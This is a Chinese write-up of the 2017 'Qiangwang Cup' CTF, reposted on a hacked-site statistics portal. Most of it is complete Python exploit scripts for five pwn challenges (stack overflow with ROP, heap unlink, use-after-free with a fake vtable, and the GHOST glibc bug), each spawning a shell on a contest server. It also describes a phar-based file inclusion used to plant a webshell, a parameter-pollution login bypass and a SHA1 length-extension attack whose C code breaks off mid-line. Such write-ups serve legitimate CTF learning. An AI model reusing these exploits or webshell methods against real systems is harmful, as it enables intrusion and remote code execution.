“强网杯”网络安全挑战赛WriteUp


发布人:admin分类:网络安全浏览量:29发布时间:2017-12-12

“强网杯”挑战赛是面向国内信息安全企业(团队)和高等院校的国家级网络安全赛事,也是第二届国家网络安全宣传周的重要活动之一。

Guess

溢出点:

程序是个按图回答的游戏,游戏通关后会让输入邮箱,会打印

Thank you so much! I will send you a gift, bye!

最开始手试了两把,输入正确的邮箱,但是flag都没有发到邮箱里。

仔细看程序,才发现是个栈溢出。

利用:

这个程序没有给libc库,要拿shell比较困难,不过程序中有读取文件的函数,

所以直接构造rop去读取flag文件。

利用脚本:

from zio import *
 
target = ('119.254.101.197',10000)
#target = './guess'
 
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    io.gdb_hint()
    d = io.read_until('What').split('What')[0]
 
    addr = 0x08048830
    io.writeline('a'*0x9c+l32(addr)+l32(0)+l32(0x0804A100))
    io.read_until('!\n')
    #for i in range(9):
    for i in range(5):
        d = io.read_until('What').split('What')[0]
        if 'quu' in d:
            io.writeline('pikachu')
        elif 'COOL' in d:
            io.writeline('peanuts')
        elif 'bug' in d:
            io.writeline('batman')
        elif '88888888888' in d:
            io.writeline('linux')
        elif '==o==' in d:
            io.writeline('superman')
    io.read_until('email:')
    io.writeline('flag')
    io.interact()
 
exp(target)

urldecoder

在url解码函数中虽然对长度做了限制,不过对%后面的两个字符没有做严格的判断,所以可以在%后面的两个字符中放一个\x00绕过strlen的判断,从而栈溢出。

脚本如下:
from zio import *
 
target = ('119.254.101.197',10001)
#target = './urldecoder'
 
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    io.read_until('URL:')
 
    pop_ebp_ret   = 0x080488D2
    puts_plt = 0x08048530
    puts_got = 0x08049DE8
    read_fun = 0x08048720
 
    main = 0x08048590
    payload = 'http://%\x32\x00'+'a'*0x94 + l32(puts_plt) + l32(pop_ebp_ret) + l32(puts_got)
    payload += l32(main)
    payload += '\x00'
 
    io.writeline(payload)
    io.read_until('\n')
    puts_addr = l32(io.read(4))
    print hex(puts_addr)
 
    libc_base = puts_addr - 0x00065650
    io.read_until('URL:')
 
    system_addr = libc_base + 0x00040190
    binsh_addr = libc_base + 0x00160A24
 
    payload = 'http://%\x32\x00'+'a'*0x94 + l32(system_addr) + l32(pop_ebp_ret) + l32(binsh_addr)
 
    io.writeline(payload)
    io.interact()
 
exp(target)

shellman

在edit的时候没有对长度做判断,存在堆溢出

利用:

参考了217的0ctf freenote的writeup中的思路,通过堆溢出,修改下一块堆的size字节中的prev_inuse比特位,让下一块堆误认为其上一块堆处于空闲态。

之后在free 下一块堆时,后调用unlink。通过伪造的上一块堆结构,修改了bss节中的一个堆指针。

之后利用程序的edit和show功能,实现内存的任意读写。

利用脚本:
from zio import *
 
target = ('119.254.101.197', 10002)
#target = './shellman'
 
def new_sc(io, sc):
    io.read_until('>')
    io.writeline('2')
    io.read_until(':')
    io.writeline(str(len(sc)))
    io.read_until(':')
    io.write(sc)
 
def edit_sc(io, index, new_sc):
    io.read_until('>')
    io.writeline('3')
    io.read_until(':')
    io.writeline(str(index))
    io.read_until(':')
    io.writeline(str(len(new_sc)))
    io.read_until(':')
    io.write(new_sc)
 
def delete_sc(io, index):
    io.read_until('>')
    io.writeline('4')
    io.read_until(':')
    io.writeline(str(index))
 
def list_sc(io):
    io.read_until('>')
    io.writeline('1')
    io.read_until('SHELLC0DE 0: ')
    return l64(io.read(16).decode('hex'))
 
def exp(target):
    #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'), print_write=COLORED(REPR, 'green'))
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    new_sc(io, 'a'*0xa0) #0x603010
    new_sc(io, 'b'*0xa0) #0x6030c0
    new_sc(io, '/bin/sh;'+'c'*0x98) #0x603170
 
    ptr_addr = 0x00000000006016d0
    #                              rax                  rdx
    payload = l64(0) + l64(0xa1) + l64(ptr_addr-0x18) + l64(ptr_addr-0x10) + 'a'*0x80 + l64(0xa0) + l64(0xb0)
 
    edit_sc(io, 0, payload) # change *0x6016d0 = 0x6016b8
 
    delete_sc(io, 1)
 
    free_got = 0x0000000000601600
    payload2 = l64(0) + l64(1) +l64(0xa0) + l64(free_got)
    edit_sc(io, 0, payload2)
 
    free_addr = list_sc(io)
    print hex(free_addr)
 
    #local
    '''
    system_addr = 0x00007FFFF7A5B640
    '''
    libc_base = free_addr - 0x0000000000082DF0
    system_addr = libc_base + 0x0000000000046640
 
    edit_sc(io, 0, l64(system_addr))
 
    delete_sc(io, 2)
    io.interact()
 
exp(target)

imdb

漏洞点:

在删除操作的时候,会将所有同名的全部删除,但是只会将最后一个的指针清0,存在uaf漏洞。

利用:

因为movie和tv结构体的前4字节为一个虚表指针,所以考虑伪造虚表。不过因为程序中所有用户输入的数据都存储在堆上,伪造的虚表也只能放在堆上,要想获取伪造虚表的地址,需要先通过泄露一个堆指针得到伪造虚表所在地址。同时,为了拿shell还需要获取libc库加载基地址。

利用打印movie中的actors可以实现任意地址的读取。

这道题没有给libc库,不过根据泄露的信息可以知道用的库和shellman是同一个,所以也就相当于有libc库。

利用的脚本如下:
from zio import *
 
target = ('119.254.101.197',10003)
#target = './imdb'
 
def add_tv(io, name, session, rating, introduction):
    io.read_until('?')
    io.writeline('1')
    io.read_until('?')
    io.writeline(name)
    io.read_until('?')
    io.writeline(str(session))
    io.read_until('?')
    io.writeline(str(rating))
    io.read_until('?')
    io.writeline(introduction)
 
def add_movie(io, name, actors, rating, introduction):
    io.read_until('?')
    io.writeline('2')
    io.read_until('?')
    io.writeline(name)
    io.read_until('?')
    io.writeline(actors)
    io.read_until('?')
    io.writeline(str(rating))
    io.read_until('?')
    io.writeline(introduction)
 
def remove_entry(io, name):
    io.read_until('?')
    io.writeline('3')
    io.read_until('?')
    io.writeline(name)
 
def show_all(io):
    io.read_until('?')
    io.writeline('4')
    io.read_until('bbbbbbbb')
    io.read_until('actors: ')
    d = io.read_until('\n').strip('\n')
    malloc_addr = l64(d.ljust(8, '\x00'))
    print hex(malloc_addr)
 
    io.read_until('bbbbbbbb')
    io.read_until('actors: ')
    d = io.read_until('\n').strip('\n')
    heap_addr = l64(d.ljust(8, '\x00'))
    print hex(heap_addr)
 
    return malloc_addr, heap_addr
 
 
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
 
    add_tv(io, 'aaa', 100, 200, 'bbbb') #0x602010
    add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6020f0
    add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6021d0
 
    remove_entry(io, 'aaa')
 
    malloc_got = 0x0000000000601C58
 
    db_addr = 0x601dc0
    movie_vt = 0x00000000004015b0
 
    payload = l64(movie_vt) + 'a'*8 + '\x00'*56 + 'b'*8 +'\x00'*(0x80-8) + l64(0x0000006443480000)+l64(malloc_got)
    print len(payload)
    add_movie(io, 'ccc', payload, 300, 'eeee') #0x602010 0x602110
 
    add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6021e0
    add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6022c0
    add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6023a0
    remove_entry(io, 'hhh')
 
    payload = l64(movie_vt) + 'a'*8 + '\x00'*56 + 'b'*8 +'\x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)
    add_movie(io, 'ccc', payload, 300, 'eeee')
 
    malloc_addr, heap_addr = show_all(io)
 
    io.gdb_hint()
    add_tv(io, 'jjj', 100, 200, 'bbbb') #0x6023b0
    add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602490
    add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602570
    remove_entry(io, 'jjj')
 
    #local
    #addr2 = malloc_addr - 0x00007FFFF7277750 + 0x00007FFFF723B52C
 
    #remote
    addr2 = malloc_addr - 0x0000000000082750 + 0x000000000004652c
 
    fake_vt = 0x6023b0+8 - 0x602010 + heap_addr
    payload = l64(fake_vt) + '/bin/sh;' + '\x00'*56 + 'b'*8 +'\x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)
    print len(payload)
    add_movie(io, l64(addr2), payload, 300, 'eeee')
 
    io.writeline('4')
    io.interact()
 
exp(target)

domain_db

漏洞:

该程序调用了gethostbyname,同时提供的libc的版本为2.15.(通过strings libc.so.6 | grep GLIBC查看),所以基本确定是去年的ghost漏洞。

因为当时漏洞刚出来时,大概看了一下漏洞,知道漏洞为4字节溢出。需要达到溢出需要满足2个条件:

Gethostbyname的name参数需要大于0×400,且均为数字或者.号。

通过分析,发现该漏洞可以覆盖下一个堆的size位。

利用过程大致如下:

1.       申请了0-10个domain。

2.       释放domain1

3.       调用gethostbyname,此时保证gethostbyname中申请的堆刚好完全占用domain1释放出来的堆。这样刚好能覆盖domain2的size位,覆盖为0×3231,即对应ascii中的21。

4.       释放domain2。 此时domain2的size被修改了,所以释放时堆管理器会将domain3-10的区域也回收了。此步为了保证过free check,我让domain2_ptr + fake_size == av->top。

5.       之后再次申请空间时,会将domain3-10的空间会被再次分配。可以通过修改其中某个domain的name指针为free_got。

6.       之后利用程序的show和edit功能对free_got进行读取和改写。

利用脚本如下:
from zio import *
 
target = ('119.254.101.197', 10006)
#target = './domain_db'
 
def add_domain(io, name):
    io.read_until('>')
    io.writeline('1')
    io.read_until(':')
    io.writeline(name)
 
def lookup_domain(io, id):
    io.read_until('>')
    io.writeline('5')
    io.read_until(':')
    io.writeline(str(id))
 
def edit_domain_name(io, id, new_name):
    io.read_until('>')
    io.writeline('2')
    io.read_until(':')
    io.writeline(str(id))
    io.read_until(':')
    io.writeline(new_name)
 
def remove_domain(io, id):
    io.read_until('>')
    io.writeline('3')
    io.read_until(':')
    io.writeline(str(id))
 
def list_domain(io):
    io.read_until('>')
    io.writeline('4')
    io.read_until('<1> ')
    free = l32(io.read(4))
    print hex(free)
    return free
 
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    io.gdb_hint()
    add_domain(io, '0' * (0x800 - 16 - 8 - 1 - 4 - 3)+'12') #0 0x804c008 0x804c7f0
    add_domain(io, '0'*0x770) #1 0x804c878 0x804cff0  top=0x804d070
    add_domain(io, '0'*0x1a0) #2
    add_domain(io, '/bin/sh'+'0'*0x88) #3 0x0804d340 0x0804d2a8
    add_domain(io, '0'*0x10) #4 0x0804d3e0
    add_domain(io, '0'*0x5b0) #5
    add_domain(io, '0'*0x770) #6
    add_domain(io, '0'*0x770) #7
    add_domain(io, '0'*0x770) #8
    add_domain(io, '0'*0x770) #9
add_domain(io, '/bin/sh;'+'0'*(0x770-8)) #10
 
    remove_domain(io, 1)
lookup_domain(io, 0)
 
remove_domain(io, 2) # top = 0x804d070 unsort=0x804d218
 
    ptr_addr = 0x0804b0a4
    add_domain(io, '0'*0x90) #1 0x0804d220
    free_got = 0x0804b004
    payload2 = 272*'1' + l32(free_got)
    add_domain(io, payload2)
    free = list_domain(io)
    #local
    system = 0xb7e55060
    #remote
    system = free - 0x781b0 + 0x3d170
    edit_domain_name(io, 1, l32(system))
    remove_domain(io, 10)
    io.interact()
 
exp(target)

最好的语言php

页面很简单,没什么信息,发现了index.php.bak文件,

其中数据库连接和sqli过滤部分隐藏了,尝试了一下确实没有sql注入漏洞。看代码的逻辑应该是在$id==1024的时候会在数据库中查询出flag。利用php与mysql对浮点数据处理精度不同。?id=1024.[若干0]1,尝试几个即可得出flag。

俳句自动打分系统

这道题难度有两点,一个是文件包含漏洞的利用,page=php://filter/convert.base64-encode/resource=index,可以看到index.php文件源码base64编码之后的代码。分析之后可以看到xxtp协议已经过滤,而且最后include语句会加上.php后缀。phar协议可以构造出可包含的poc。

网上搜的phar打包的代码:

<?php
try{
    $p = new Phar(dirname(__FILE__) . "my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
$p->startBuffering();
$p['1.php'] = file_get_contents('shell.php');
$p->setStub("<?php
    Phar::mapPhar('myphar.phar');
__HALT_COMPILER();");
$p->stopBuffering();
?>

上面代码会把shell.php打包的phar包中去。因为协议是对本地文件包含,在robots.txt中找到txt文件上传路径,且会返回文件名。将phar包改.txt文件名上传,构造poc:

?page=phar://upload_paiju/Eny2CRWfkt91Gf69.txt/1

这样包含之后的路径就是

Include(upload_paiju/Eny2CRWfkt91Gf69.txt/1.php)

其中Eny2CRWfkt91Gf69.txt/1.php是对phar包中1.php文件的访问方式(可以查一下phar用法)。

获得了webshell。

在第一天,我用的eval一句话木马,eval可用,但是脚本过几秒钟就会被删除。而且没有找到flag文件。

第二天服务重开之后,发现eval木马用不了了,因为这个题目过滤比较严格,可能被过滤了,就换了preg_replace写的一句话,可用。植入代码ini_get_all()获得所有的php.ini文件内容。其中看到被允许的路径只有网站根目录、tmp、和/srv(这是什么鬼?)

   Flag就在/srv下躺着了。

 

         这种题目比较好玩,估计是前面进去的人写了php脚本过几秒就删除别人上传的文件,第二天就不存在这种问题了,遇到的问题和后来上来的很大不同,坏人增多了。

Flager-checker

看下源码,只要满足这一行就可以:

后面用&&隔开的一共有47个方程,理论上47个方程47个未知量是可解的,仔细观察一下,可以发现,如果将方程按照长度排序的话,从上至下每隔一行即可解出来一个变量,他的方程每多一行就只多了一个变量而已,那么就可以利用eval对新多出来的变量进行爆破了,脚本:

Keygen

程序有很多种解,通过向服务器提交一种解就可以获得flag:

最优先确定的是4,9,14,19位置,然后,将之前的程序临摹,通过对部分位置的固定赋值可以直接计算出另外位置的合适的数值。

__author__ = 'bibi'
 import hashlib
 a1="0"*24
 def run(a1):
     if len(a1)!=24:
         return 0
     v16= [
         a1[11],
         a1[2],
         a1[1], #0
         a1[13],
         a1[16], #0
         a1[10],
         a1[7], #0
         a1[17],
     ]
 
     v8 = [
         a1[15], #0
         a1[12],
         a1[18], #0
         a1[0],
         a1[6], #0
         a1[8],
         a1[5], #0
         a1[3],
     ]
 
     v16 += v8
 
 
     f = open('./sn_download', 'rb')
     d = f.read()[0x18e0:]
     f.close()
     v24=[]
     #print v16
     for j in range(16):
         if (ord(d[j]) - 48 > 9) | (ord(d[j]) < 48):
             k = ord(d[j])
             v24.append(v16[k])
         else:
             v24.append(d[j])
     #print v24
     #print ''.join(c for c in v24)
 
     temp="".join(v24)
     v25=hashlib.md5(temp).digest()
     #print v25
     #print v25.encode('hex')
 
     v26=[]
     f = open('./sn_download', 'rb')
     d2 = f.read()[0x18f0:]
     f.close()
     for k in range(16):
         v26.append(d2[ord(v25[k]) >> 4])
         v26.append(d2[ord(v25[k]) & 0xf])
     #print v26
 
     v42 = ''
     for i in range(16):
         v42 =v42 + str(ord(v26[i]))
 
 
 
     temp = v42.split('0')
 
     final_v42 = ''
     for t in temp:
         final_v42 += t
 
     '''
     for m in range(5,13):
         if final_v42[m] != v8[m-5]:
             result=0
             return 0
     '''
     v8 = final_v42[5:13]
     a2 = a1[0:15]+v8[0]+a1[16:]
     a2 = a2[0:12]+v8[1]+a2[13:]
     a2 = a2[0:18]+v8[2]+a2[19:]
     a2 = v8[3]+a2[1:]
     a2 = a2[0:6]+v8[4]+a2[7:]
     a2 = a2[0:8]+v8[5]+a2[9:]
     a2 = a2[0:5]+v8[6]+a2[6:]
     a2 = a2[0:3]+v8[7]+a2[4:]
 
     return a2
 
 
 
 a1 = 'aaaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'abaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'acaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'adaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'aeaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'afaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'agaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'ahaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'aiaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)
 a1 = 'ajaa-aaaa-aaaa-aaaa-aaaa'
 print run(a1)

Broken

什么都是坏的,找了个正常的引导区直接winhex覆盖头,发现启动不了,通过vmware在windows下挂载软盘镜像或者直接winhex打开,可以找到几个文件:

Flag文件拿下来,补上png的文件头:

开脑洞,调大长度,拿到flag:

NESTING DOLL

https://github.com/SilasX/QuineRelayFiles,就是一个字,装。

Repartition:

根据题目提示

Secret.rar被删除了,用普通的数据恢复软件即可还原。

但是secretpass.txt被大文件覆盖了

找到其ntfs父目录文件记录0x80b1800,在下方偏移0×200出发现secret.rar的密码

解压得到flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}

Salt

本题关键点有两个,一个是用户名admin的绕过,另一个是sha1的长度扩展攻击。

第一点绕过的关键点是url解析的时候后面的变量会覆盖前面的变量,因此我们只需构造

/login?username=a&password=aaaaaa&username=admin

即可,注意此处的password必须为6-20位,这里取6位。

对于第二点的绕过,这里解释一下长度扩展攻击,在正常情况下,需要哈希的字符串为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F 75  73 65 72 6E 61 6D 65 3D  /login?username=
00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa
00000030: 61 26 75 73 65 72 6E 61  6D 65 3D 61 64 6D 69 6E  a&username=admin

在sha1的时候,会先补一个比特的1,也就是0×80,然后补齐至余512为418,也就是52个字节,剩余的12个字节用来补齐长度,即*(注:补齐,余512为448,最后八字节补齐长度)

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=
00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa
00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin
00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................

然后使用下面的一组数作为初始化向量进行计算,

h0=0x67452301,
h1=0xEFCDAB89,
h2=0x98BADCFE,
h3=0x10325476,
h4=0xC3D2E1F0

计算的规则是对补齐后的数据以512bit即64字节为一组进行移位异或等数学计算,每一组计算会改变h1-h4的值,这些改变的值将作为下一组计算的初始化向量。全部组计算完成后最终的初始化向量拼接起来就是sha1的值。

这样就形成了我们的攻击思路,首先发送正常的数据,获取sha1,然后我们手动补齐上一组正常的数据,又获取一个sha1,之后对第一组获取的sha1的初始化向量进行提取,修改算法中的初始化向量,然后将这个修改后的算法仅仅用于对第二组数据的补全数据进行sha1,就能得出与第二组获取的sha1相同的数据。

也就是说我们发送的第一组数据为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=
00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa
00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin

这组数据获取的sha1为a02d54c05cecc94ff2d698146e0b2c778104d85,获取的初始化向量分别为0xa02d54c0,0x5cecc94f,0xf2d69814,0x6e0b2c77,0x8104d85

发送的第二组数据为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=
00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa
00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin
00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................

该组在计算过程中,补全的结果为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=
00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa
00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin
00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................
00000080: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 04 00  ................

获取的sha1为f687bedf0ce1e96f9238c7dae716337b0d9d74ad

因此我们只需将初始化变量0xa02d54c0,0x5cecc94f0x,f2d69814,0x6e0b2c77,0x8104d85带入算法,只需计算补上的信息

00000080: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 04 00  ................

就可以得出与第二组相等的sha1,即f687bedf0ce1e96f9238c7dae716337b0d9d74ad

本题中,由于获取的sha1不全,只需对第一次获取的sha1中的x进行爆破,就可以得到第一次的sha1,提交即可。

先用python写了一个爆破,结果太慢了,有用c写了一个

代码
Sha1.h
//! SHA1 动态链接库实现   H文件
#ifndef SHA1_H
#define SHA1_H
 
#include "stdio.h"
//! #定义SHA 中的返回ENUM
/*!
     @see enum
*/
#ifndef _SHA_enum_
#define _SHA_enum_
enum
{
         shaSuccess   = 0,
         /*!   <空指示参量 */
         shaNull,           
         /*!   < 输入数据太长提示 */
         shaInputTooLong,
          /*! <called Input after Result --以输入结果命名之 */
         shaStateError     
};
#endif
//! SHA1HashSize定义的是SHA1哈希表的大小
#define SHA1HashSize 20
//!   #能够进行动态链接库编译的SHA1类
 /*! 
       @see class _declspec(dllexport) SHA_1
       将SHA1算法写成动态链接库的形式方便调用,生成消息使用
 */
class _declspec(dllexport) SHA_1
{
public:
         //!   #定义数据结构控制上下文消息 SHA1Context
         /*!
             以下这种结构将会控制上下文消息 for   the SHA-1
             hashing operation
                   @see   struct SHA1Context
         */
         typedef   struct SHA1Context
         {
                   unsigned   long Intermediate_Hash[SHA1HashSize/4]; /*! <Message Digest  */
 
                   unsigned   long Length_Low;            /*!   <Message length in bits      */
                   unsigned   long Length_High;           /*!   <Message length in bits      */
 
                   /*!   <Index into message block array   */
                   long   Message_Block_Index;
                   unsigned   char Message_Block[64];      /*!   <512-bit message blocks      */
 
                   int   Computed;               /*! <Is the   digest computed?         */
                   int   Corrupted;             /*! <Is the   message digest corrupted? */
         }   SHA1Context;
 
public:
      //! #SHA_1 的构造函数
      /*!
          @see SHA_1()
      其中应该对SHA_1类中的一些变量进行相应的初始化
      */
         SHA_1();
         //!   #SHA_1的析构函数
      /*!
         @see   ~SHA_1()
      释放内存
      */
         ~SHA_1(void);
 
         /*----------------------------------函数原型----------------------------------*/
         //!   #SHA1算法中的数据填充模块
      /*!
           @see void SHA1PadMessage(SHA1Context *);
           @param[SHA1Context*  定义填充信息指针
           @return[void] 不返回任何值
      */
         void   SHA1PadMessage(SHA1Context *);      /*  定义填充信息指针  */
      //! #SHA1的消息块描述函数
      /*!
           @see void SHA1ProcessMessageBlock(SHA1Context   *);
           @param[SHA1Context*  定义填充信息指针
           @param[in] 消息块长度为固定之512比特
           @return[void] 不返回任何值
      */
         void   SHA1ProcessMessageBlock(SHA1Context *);
         //!   #SHA1的数据初始化操作函数
      /*!
           @see int SHA1Reset(  SHA1Context *);
           @param[SHA1Context*  定义填充信息指针
           @return[int] 成功返回shaNull,失败返回shaSuccess
           @see SHA1 enum
      */
         int   SHA1Reset(  SHA1Context *,unsigned long   , unsigned long , unsigned long,unsigned long,unsigned long);
         //!   #SHA1的输入描述函数
      /*!
           @see int SHA1Input(  SHA1Context *, const unsigned char *,   unsigned int);
           @param[SHA1Context*  定义填充信息指针
      @param[unsigned char 接收单位长度为8字节倍数的消息
           @return[enum] 成功返回shaNull,失败返回shaSuccess,错误返回shaStateError
           @see SHA1 enum
      */
         int   SHA1Input(  SHA1Context *, const   unsigned char *, unsigned int);
         //!   #SHA1的结果描述函数
      /*!
           @see int SHA1Result( SHA1Context *,   unsigned char Message_Digest[SHA1HashSize]);
           @param[SHA1Context*  定义填充信息指针
      @param[unsigned char 160比特的消息摘要队列
           @attention 返回一个160比特的消息摘要队列
           @return[enum] 成功返回shaNull,失败返回shaSuccess,错误返回shaStateError
           @see SHA1 enum
      */
         int   SHA1Result( SHA1Context *, unsigned char Message_Digest[SHA1HashSize]);
 
private:
};
 
#endif // SHA1_H
   
Sha1.app
// sha1.cpp : Defines the entry   point for the console application.
//
 
#include "SHA1.h"
#include "stdio.h"
#include "windows.h"
/*!以下所用各种参量名称皆为sha-1在出版物上所用之公用名称  */
/*
 *  以下是为 SHA1 向左环形移位宏 之定义
 */
 
BOOL isattack = FALSE;
int paddinglength = 0;
 
#define   SHA1CircularShift(bits,word) \
                (((word) << (bits)) |   ((word) >> (32-(bits))))
 
SHA_1::SHA_1()
{
}
 
SHA_1::~SHA_1(void)
{
}
 
/*
 *  以下为sha-1消息块描述:
 *  消息块长度为固定之512比特
 */
void   SHA_1::SHA1ProcessMessageBlock(SHA1Context *context)
{
      const unsigned long K[] =      {       /* Constants defined in   SHA-1   */
                            0x5A827999,
                            0x6ED9EBA1,
                            0x8F1BBCDC,
                            0xCA62C1D6
                            };
      int               t;                 /* 循环计数 */
      unsigned long      temp;              /* 临时缓存 */
      unsigned long      W[80];             /* 字顺序   */
      unsigned long      A, B, C, D,   E;     /* 设置系统磁盘缓存块 */
 
      /*
     *    以下为初始化在W队列中的头16字数据
     */
      for(t = 0; t < 16; t++)
      {
        W[t] = context->Message_Block[t *   4] << 24;
        W[t] |= context->Message_Block[t *   4 + 1] << 16;
        W[t] |= context->Message_Block[t *   4 + 2] << 8;
        W[t] |= context->Message_Block[t *   4 + 3];
      }
 
      for(t = 16; t < 80; t++)
      {
       W[t] = SHA1CircularShift(1,W[t-3] ^   W[t-8] ^ W[t-14] ^ W[t-16]);
      }
 
      A = context->Intermediate_Hash[0];
      B = context->Intermediate_Hash[1];
      C = context->Intermediate_Hash[2];
      D = context->Intermediate_Hash[3];
      E = context->Intermediate_Hash[4];
      /* 
     *    以下为定义算法所用之数学函数及其迭代算法描述 
     */
      for(t = 0; t < 20; t++)
      {
                   temp&

被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21282393(PV) 页面执行时间:290.357(MS)
  • xml
  • 网站地图